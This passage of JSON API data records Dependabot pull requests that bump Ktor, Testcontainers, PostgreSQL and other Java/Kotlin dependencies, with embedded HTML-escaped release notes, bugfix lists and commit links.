request\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9404\"\u003eKTOR-9404\u003c/a\u003e Darwin: Memory leak in KtorNSURLSessionDelegate\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9399\"\u003eKTOR-9399\u003c/a\u003e LinkageError when running Ktor app with development mode inside Spring Boot / Amper fat-JAR\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9402\"\u003eKTOR-9402\u003c/a\u003e NoSuchMethodError on RawWebSocket after 3.4.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9372\"\u003eKTOR-9372\u003c/a\u003e Frame.Text.readText() causes infinite loop and 100% CPU on Kotlin/Native when WebSocket frame data is malformed or connection drops unexpectedly\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9387\"\u003eKTOR-9387\u003c/a\u003e ZstdEncoder decode fails when source data is split into multiple Zstd frames\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e3.4.1\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 3 March 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/5d9a99869b6005018fb821828c082d8e4ff05500\"\u003e\u003ccode\u003e5d9a998\u003c/code\u003e\u003c/a\u003e Release 3.4.3 (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5547\"\u003e#5547\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/6a11a76b9e13302ceea01e8763aa2fdc74ec73be\"\u003e\u003ccode\u003e6a11a76\u003c/code\u003e\u003c/a\u003e KTOR-8989 Close or cancel engine only when the client reference count… (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5525\"\u003e#5525\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/3acb8ea1ab1738c0ff6fb68f3f0e75024edae2c7\"\u003e\u003ccode\u003e3acb8ea\u003c/code\u003e\u003c/a\u003e KTOR-8938 Inherit server coroutine context in WebSocket session (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5426\"\u003e#5426\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/cec7d38a7183c43efa686eed6cad5cf889f37fd0\"\u003e\u003ccode\u003ecec7d38\u003c/code\u003e\u003c/a\u003e Fix flaky test failures on native platforms (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5485\"\u003e#5485\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/bd8bea1c18eba45f150537d223a8aa3c107cb5fb\"\u003e\u003ccode\u003ebd8bea1\u003c/code\u003e\u003c/a\u003e KTOR-9507 Update Jackson to 2.21 and 3.1.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/5e29515e447d0b825f7e0fe1a60757b433e89c02\"\u003e\u003ccode\u003e5e29515\u003c/code\u003e\u003c/a\u003e KTOR-9507 Update netty to 4.2.12\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/733b8e1b08e1c87a0b731ddd42406c8b2a93e35f\"\u003e\u003ccode\u003e733b8e1\u003c/code\u003e\u003c/a\u003e KTOR-9373 Make ConcurrentMap iteration safe on Native (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5407\"\u003e#5407\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/1f83f21df932ae6b00222ab5241e4bbc93c830e5\"\u003e\u003ccode\u003e1f83f21\u003c/code\u003e\u003c/a\u003e KTOR-9451 Support nested generic types (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5500\"\u003e#5500\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/2440990f1085410261b41058815d24d6a9789bba\"\u003e\u003ccode\u003e2440990\u003c/code\u003e\u003c/a\u003e Apache 5 Client. Don't ignore resultCallback (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5526\"\u003e#5526\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/430f32098bc3565d2cba6d0dfd06758afba45410\"\u003e\u003ccode\u003e430f320\u003c/code\u003e\u003c/a\u003e Follow-up: KTOR-9497 Preventing a fatal crash in DarwinSession on close (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5533\"\u003e#5533\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/ktorio/ktor/compare/3.3.1...3.4.3\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `io.ktor:ktor-serialization-jackson` from 3.3.1 to 3.4.3\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/releases\"\u003eio.ktor:ktor-serialization-jackson's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.4.3\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 22 April 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9451\"\u003eKTOR-9451\u003c/a\u003e OpenAPI schema inference not working for custom nested generics\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9490\"\u003eKTOR-9490\u003c/a\u003e OpenAPI: Self-referential schema $ref uses FQN while schema is registered with a simple name\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9463\"\u003eKTOR-9463\u003c/a\u003e OpenAPI: schema inference StackOverflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8938\"\u003eKTOR-8938\u003c/a\u003e WebSockets: WebSockets handler does not inherit server coroutine context\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8989\"\u003eKTOR-8989\u003c/a\u003e Shared engine is closed when a client created with \u003ccode\u003econfig\u003c/code\u003e method is closed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9485\"\u003eKTOR-9485\u003c/a\u003e Apache5: FutureCallback never called, breaking Java agent instrumentation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9497\"\u003eKTOR-9497\u003c/a\u003e Darwin: SIGABRT crash when \u003ccode\u003eclose()\u003c/code\u003e races with in-flight \u003ccode\u003eexecute()\u003c/code\u003e since 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9431\"\u003eKTOR-9431\u003c/a\u003e SuspendFunctionGun: ThreadContextElement leaks across requests when interceptor suspends\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9423\"\u003eKTOR-9423\u003c/a\u003e CannotTransformContentToTypeException leaks internal class names in response body\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9461\"\u003eKTOR-9461\u003c/a\u003e Incorrect link to the OWASP cheatsheet in the KDoc for CSRF plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9476\"\u003eKTOR-9476\u003c/a\u003e Unable to update/remove session data if no response content\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9343\"\u003eKTOR-9343\u003c/a\u003e HttpRequestLifecycle plugin with \u003ccode\u003ecancelCallOnClose\u003c/code\u003e on, cancels subsequent requests when CallLogging plugin with callIdMdc is installed\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e3.4.2\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 27 March 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9327\"\u003eKTOR-9327\u003c/a\u003e Curl: The WebSockets maxFrameSize option does not have an effect\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9383\"\u003eKTOR-9383\u003c/a\u003e CaseInsensitiveString: reduce allocations\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9385\"\u003eKTOR-9385\u003c/a\u003e Netty: Allocation micro-optimizations\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9403\"\u003eKTOR-9403\u003c/a\u003e Darwin: Unnecessary ByteArray copy for each received response chunk\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9412\"\u003eKTOR-9412\u003c/a\u003e KDoc for \u003ccode\u003eformFieldLimit\u003c/code\u003e documents incorrect default value (64 KB instead of 50 MiB)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9351\"\u003eKTOR-9351\u003c/a\u003e OpenAPI: Incorrect schema generated for nested classes with lists\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9361\"\u003eKTOR-9361\u003c/a\u003e WebSockets: \u003ccode\u003eJsWebSocketSession._closeReason\u003c/code\u003e is completed twice\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9437\"\u003eKTOR-9437\u003c/a\u003e Fix GraalVM Compatibility\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9424\"\u003eKTOR-9424\u003c/a\u003e Logging: OkHttp format should log the full requested URL\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8540\"\u003eKTOR-8540\u003c/a\u003e Logging: IllegalStateException is thrown when response is cached and deserialization fails\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9370\"\u003eKTOR-9370\u003c/a\u003e OpenAPI: NoSuchMethodError - getLOCAL_FUNCTION_FOR_LAMBDA with Kotlin 2.3.20-*\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9421\"\u003eKTOR-9421\u003c/a\u003e Netty: active SSE connection blocks HTTP/2 response flushing for other requests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-3390\"\u003eKTOR-3390\u003c/a\u003e JS browser: \u0026quot;Failed to execute 'digest' on 'SubtleCrypto'\u0026quot; error when using digest auth\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-5977\"\u003eKTOR-5977\u003c/a\u003e Compression: The encoders buffer streaming response\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9393\"\u003eKTOR-9393\u003c/a\u003e Certificate pinning matches against all pins instead of hostname-scoped pins\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8751\"\u003eKTOR-8751\u003c/a\u003e DI: AmbiguousDependencyException when named dependency is overridden in testApplication\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9039\"\u003eKTOR-9039\u003c/a\u003e Bearer Auth: Request body transformed with jsonIO isn't sent over again after refreshToken request\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9404\"\u003eKTOR-9404\u003c/a\u003e Darwin: Memory leak in KtorNSURLSessionDelegate\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9399\"\u003eKTOR-9399\u003c/a\u003e LinkageError when running Ktor app with development mode inside Spring Boot / Amper fat-JAR\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9402\"\u003eKTOR-9402\u003c/a\u003e NoSuchMethodError on RawWebSocket after 3.4.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9372\"\u003eKTOR-9372\u003c/a\u003e Frame.Text.readText() causes infinite loop and 100% CPU on Kotlin/Native when WebSocket frame data is malformed or connection drops unexpectedly\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9387\"\u003eKTOR-9387\u003c/a\u003e ZstdEncoder decode fails when source data is split into multiple Zstd frames\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e3.4.1\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 3 March 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/blob/main/CHANGELOG.md\"\u003eio.ktor:ktor-serialization-jackson's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e3.4.3\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 22 April 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9451\"\u003eKTOR-9451\u003c/a\u003e OpenAPI schema inference not working for custom nested generics\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9490\"\u003eKTOR-9490\u003c/a\u003e OpenAPI: Self-referential schema $ref uses FQN while schema is registered with a simple name\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9463\"\u003eKTOR-9463\u003c/a\u003e OpenAPI: schema inference StackOverflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8938\"\u003eKTOR-8938\u003c/a\u003e WebSockets: WebSockets handler does not inherit server coroutine context\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8989\"\u003eKTOR-8989\u003c/a\u003e Shared engine is closed when a client created with \u003ccode\u003econfig\u003c/code\u003e method is closed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9485\"\u003eKTOR-9485\u003c/a\u003e Apache5: FutureCallback never called, breaking Java agent instrumentation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9497\"\u003eKTOR-9497\u003c/a\u003e Darwin: SIGABRT crash when \u003ccode\u003eclose()\u003c/code\u003e races with in-flight \u003ccode\u003eexecute()\u003c/code\u003e since 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9431\"\u003eKTOR-9431\u003c/a\u003e SuspendFunctionGun: ThreadContextElement leaks across requests when interceptor suspends\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9423\"\u003eKTOR-9423\u003c/a\u003e CannotTransformContentToTypeException leaks internal class names in response body\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9461\"\u003eKTOR-9461\u003c/a\u003e Incorrect link to the OWASP cheatsheet in the KDoc for CSRF plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9476\"\u003eKTOR-9476\u003c/a\u003e Unable to update/remove session data if no response content\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9343\"\u003eKTOR-9343\u003c/a\u003e HttpRequestLifecycle plugin with \u003ccode\u003ecancelCallOnClose\u003c/code\u003e on, cancels subsequent requests when CallLogging plugin with callIdMdc is installed\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e3.4.2\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 27 March 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9327\"\u003eKTOR-9327\u003c/a\u003e Curl: The WebSockets maxFrameSize option does not have an effect\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9383\"\u003eKTOR-9383\u003c/a\u003e CaseInsensitiveString: reduce allocations\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9385\"\u003eKTOR-9385\u003c/a\u003e Netty: Allocation micro-optimizations\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9403\"\u003eKTOR-9403\u003c/a\u003e Darwin: Unnecessary ByteArray copy for each received response chunk\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9412\"\u003eKTOR-9412\u003c/a\u003e KDoc for \u003ccode\u003eformFieldLimit\u003c/code\u003e documents incorrect default value (64 KB instead of 50 MiB)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9351\"\u003eKTOR-9351\u003c/a\u003e OpenAPI: Incorrect schema generated for nested classes with lists\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9361\"\u003eKTOR-9361\u003c/a\u003e WebSockets: \u003ccode\u003eJsWebSocketSession._closeReason\u003c/code\u003e is completed twice\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9437\"\u003eKTOR-9437\u003c/a\u003e Fix GraalVM Compatib...\n\n_Description has been truncated_","html_url":"https://github.com/navikt/pale-2/pull/428","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/navikt%2Fpale-2/issues/428","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/428/packages"},{"uuid":"4418114649","node_id":"PR_kwDOHkZVns7aG_0q","number":38,"state":"closed","title":"Bump the all-deps group across 1 directory with 26 updates","user":"dependabot[bot]","labels":["dependencies","java"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":"2026-05-18T05:20:16.000Z","author_association":null,"state_reason":null,"created_at":"2026-05-11T04:42:05.000Z","updated_at":"2026-05-18T05:20:18.000Z","time_to_close":607091,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"Bump","group_name":"all-deps","update_count":26,"packages":[{"name":"io.ktor:ktor-server-core","old_version":"3.4.2","new_version":"3.4.3","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-server-double-receive","old_version":"3.4.2","new_version":"3.4.3","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-server-netty","old_version":"3.4.2","new_version":"3.4.3","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-server-content-negotiation","old_version":"3.4.2","new_version":"3.4.3","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-serialization-kotlinx-json","old_version":"3.4.2","new_version":"3.4.3","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-server-status-pages","old_version":"3.4.2","new_version":"3.4.3","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-server-auth","old_version":"3.4.2","new_version":"3.4.3","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-server-auth-jvm","old_version":"3.4.2","new_version":"3.4.3","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-server-auth-jwt","old_version":"3.4.2","new_version":"3.4.3","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-server-request-validation","old_version":"3.4.2","new_version":"3.4.3","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-client-core","old_version":"3.4.2","new_version":"3.4.3","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-client-auth","old_version":"3.4.2","new_version":"3.4.3","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-client-cio","old_version":"3.4.2","new_version":"3.4.3","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-client-content-negotiation","old_version":"3.4.2","new_version":"3.4.3","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-server-metrics-micrometer","old_version":"3.4.2","new_version":"3.4.3","repository_url":"https://github.com/ktorio/ktor"},{"name":"commons-codec:commons-codec","old_version":"1.21.0","new_version":"1.22.0","repository_url":"https://github.com/apache/commons-codec"},{"name":"org.postgresql:postgresql","old_version":"42.7.10","new_version":"42.7.11","repository_url":"https://github.com/pgjdbc/pgjdbc"},{"name":"org.flywaydb:flyway-database-postgresql","old_version":"12.3.0","new_version":"12.5.0"},{"name":"io.micrometer:micrometer-registry-prometheus","old_version":"1.16.4","new_version":"1.16.5","repository_url":"https://github.com/micrometer-metrics/micrometer"},{"name":"org.testcontainers:testcontainers","old_version":"2.0.4","new_version":"2.0.5","repository_url":"https://github.com/testcontainers/testcontainers-java"},{"name":"org.testcontainers:testcontainers-kafka","old_version":"2.0.4","new_version":"2.0.5","repository_url":"https://github.com/testcontainers/testcontainers-java"},{"name":"org.testcontainers:testcontainers-junit-jupiter","old_version":"2.0.4","new_version":"2.0.5","repository_url":"https://github.com/testcontainers/testcontainers-java"},{"name":"org.testcontainers:testcontainers-postgresql","old_version":"2.0.4","new_version":"2.0.5","repository_url":"https://github.com/testcontainers/testcontainers-java"},{"name":"software.xdev.mockserver:testcontainers","old_version":"2.50.5","new_version":"2.50.6","repository_url":"https://github.com/xdev-software/mockserver-neolight"},{"name":"software.xdev.mockserver:client","old_version":"2.50.5","new_version":"2.50.6","repository_url":"https://github.com/xdev-software/mockserver-neolight"},{"name":"gradle-wrapper","old_version":"9.4.1","new_version":"9.5.0","repository_url":"https://github.com/gradle/gradle"}],"path":null,"ecosystem":"maven"},"body":"Bumps the all-deps group with 26 updates in the / directory:\n\n| Package | From | To |\n| --- | --- | --- |\n| [io.ktor:ktor-server-core](https://github.com/ktorio/ktor) | `3.4.2` | `3.4.3` |\n| [io.ktor:ktor-server-double-receive](https://github.com/ktorio/ktor) | `3.4.2` | `3.4.3` |\n| [io.ktor:ktor-server-netty](https://github.com/ktorio/ktor) | `3.4.2` | `3.4.3` |\n| [io.ktor:ktor-server-content-negotiation](https://github.com/ktorio/ktor) | `3.4.2` | `3.4.3` |\n| [io.ktor:ktor-serialization-kotlinx-json](https://github.com/ktorio/ktor) | `3.4.2` | `3.4.3` |\n| [io.ktor:ktor-server-status-pages](https://github.com/ktorio/ktor) | `3.4.2` | `3.4.3` |\n| [io.ktor:ktor-server-auth](https://github.com/ktorio/ktor) | `3.4.2` | `3.4.3` |\n| [io.ktor:ktor-server-auth-jvm](https://github.com/ktorio/ktor) | `3.4.2` | `3.4.3` |\n| [io.ktor:ktor-server-auth-jwt](https://github.com/ktorio/ktor) | `3.4.2` | `3.4.3` |\n| [io.ktor:ktor-server-request-validation](https://github.com/ktorio/ktor) | `3.4.2` | `3.4.3` |\n| [io.ktor:ktor-client-core](https://github.com/ktorio/ktor) | `3.4.2` | `3.4.3` |\n| [io.ktor:ktor-client-auth](https://github.com/ktorio/ktor) | `3.4.2` | `3.4.3` |\n| [io.ktor:ktor-client-cio](https://github.com/ktorio/ktor) | `3.4.2` | `3.4.3` |\n| [io.ktor:ktor-client-content-negotiation](https://github.com/ktorio/ktor) | `3.4.2` | `3.4.3` |\n| [io.ktor:ktor-server-metrics-micrometer](https://github.com/ktorio/ktor) | `3.4.2` | `3.4.3` |\n| [commons-codec:commons-codec](https://github.com/apache/commons-codec) | `1.21.0` | `1.22.0` |\n| [org.postgresql:postgresql](https://github.com/pgjdbc/pgjdbc) | `42.7.10` | `42.7.11` |\n| org.flywaydb:flyway-database-postgresql | `12.3.0` | `12.5.0` |\n| [io.micrometer:micrometer-registry-prometheus](https://github.com/micrometer-metrics/micrometer) | `1.16.4` | `1.16.5` |\n| [org.testcontainers:testcontainers](https://github.com/testcontainers/testcontainers-java) | `2.0.4` | `2.0.5` |\n| [org.testcontainers:testcontainers-kafka](https://github.com/testcontainers/testcontainers-java) | `2.0.4` | `2.0.5` |\n| [org.testcontainers:testcontainers-junit-jupiter](https://github.com/testcontainers/testcontainers-java) | `2.0.4` | `2.0.5` |\n| [org.testcontainers:testcontainers-postgresql](https://github.com/testcontainers/testcontainers-java) | `2.0.4` | `2.0.5` |\n| [software.xdev.mockserver:testcontainers](https://github.com/xdev-software/mockserver-neolight) | `2.50.5` | `2.50.6` |\n| [software.xdev.mockserver:client](https://github.com/xdev-software/mockserver-neolight) | `2.50.5` | `2.50.6` |\n| [gradle-wrapper](https://github.com/gradle/gradle) | `9.4.1` | `9.5.0` |\n\n\nUpdates `io.ktor:ktor-server-core` from 3.4.2 to 3.4.3\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/releases\"\u003eio.ktor:ktor-server-core's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.4.3\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 22 April 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9451\"\u003eKTOR-9451\u003c/a\u003e OpenAPI schema inference not working for custom nested generics\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9490\"\u003eKTOR-9490\u003c/a\u003e OpenAPI: Self-referential schema $ref uses FQN while schema is registered with a simple name\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9463\"\u003eKTOR-9463\u003c/a\u003e OpenAPI: schema inference StackOverflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8938\"\u003eKTOR-8938\u003c/a\u003e WebSockets: WebSockets handler does not inherit server coroutine context\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8989\"\u003eKTOR-8989\u003c/a\u003e Shared engine is closed when a client created with \u003ccode\u003econfig\u003c/code\u003e method is closed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9485\"\u003eKTOR-9485\u003c/a\u003e Apache5: FutureCallback never called, breaking Java agent instrumentation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9497\"\u003eKTOR-9497\u003c/a\u003e Darwin: SIGABRT crash when \u003ccode\u003eclose()\u003c/code\u003e races with in-flight \u003ccode\u003eexecute()\u003c/code\u003e since 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9431\"\u003eKTOR-9431\u003c/a\u003e SuspendFunctionGun: ThreadContextElement leaks across requests when interceptor suspends\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9423\"\u003eKTOR-9423\u003c/a\u003e CannotTransformContentToTypeException leaks internal class names in response body\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9461\"\u003eKTOR-9461\u003c/a\u003e Incorrect link to the OWASP cheatsheet in the KDoc for CSRF plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9476\"\u003eKTOR-9476\u003c/a\u003e Unable to update/remove session data if no response content\u003c/li\u003e\n\u003cli\u003e\u003ca 